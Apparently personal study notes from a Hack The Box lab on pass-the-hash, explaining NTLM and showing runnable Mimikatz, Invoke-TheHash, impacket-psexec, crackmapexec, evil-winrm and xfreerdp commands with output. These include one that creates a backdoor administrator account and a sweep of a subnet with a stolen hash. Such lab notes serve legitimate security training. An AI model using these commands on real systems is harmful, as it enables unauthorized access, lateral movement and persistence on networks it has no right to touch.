Pass the Hash

Available when NTLM is being used for authentication.

NTLM is a single sing-on method that uses a challenge response protocol to verify the user’s identity without having to need a password.

NTLM is still used pretty often since other systems are already using it for authenticatioin.

PtH Windows

Mimkatz

sekurlsa::pth module can be used for PtH.

We need:

/user: Username we want to impersonate
/rc4 or /NTLM: NTLM hash of found password
/domain: Domain the target user belongs to. If we are using local user account, we can use computer name, localhost, or a dot.
/run: Program we want to run. Default is cmd.exe

c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
user    : julio
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 64F12CDDAA88057E06A81B54E73B949B
  |  PID  8404
  |  TID  4268
  |  LSA Process was already R/W
  |  LUID 0 ; 5218172 (00000000:004f9f7c)
  \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
  \_ kerberos - data copy @ 0000028FC964F288
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000028FC9673AE8 (32) -> null

Invoke-TheHash

https://github.com/Kevin-Robertson/Invoke-TheHash

Powershell.

We can use either SMB or WMI.

We need:

Target: Hostname or IP address
Username: Username to use for authentication
Domain: Unnecessary if local account
Hash: NTLM password hash
Command: Default is WMI

Following command use SMB method for command execution and create a new user and add it to the Administrators group.

PS c:\htb> cd C:\tools\Invoke-TheHash\
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
 
VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10
VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
VERBOSE: [*] Trying to execute command on 172.16.1.10
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10

PtH Linux

On Linux, we can use impacket’s psexec, atexec, and smbexec.

Impacket PsExec

jadu101@htb[/htb]$ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
 
[*] Requesting shares on 10.129.201.126.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.129.201.126.....
[*] Creating service AdzX on 10.129.201.126.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.
 
C:\Windows\system32>

Crackmapexec

jadu101@htb[/htb]# crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
 
SMB         172.16.1.10   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:.) (signing:True) (SMBv1:False)
SMB         172.16.1.10   445    DC01             [-] .\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE 
SMB         172.16.1.5    445    MS01             [*] Windows 10.0 Build 19041 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:False)
SMB         172.16.1.5    445    MS01             [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)

If we want to try for local user, use --local-auth flag.

Evil-Winrm

jadu101@htb[/htb]$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
 
Evil-WinRM shell v3.3
 
Info: Establishing connection to remote endpoint
 
*Evil-WinRM* PS C:\Users\Administrator\Documents>

RDP

jadu101@htb[/htb]$ xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
 
[15:38:26:999] [94965:94966] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[15:38:26:999] [94965:94966] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
...snip...
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @           WARNING: CERTIFICATE NAME MISMATCH!           @
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...SNIP...

👨‍💻My Notes

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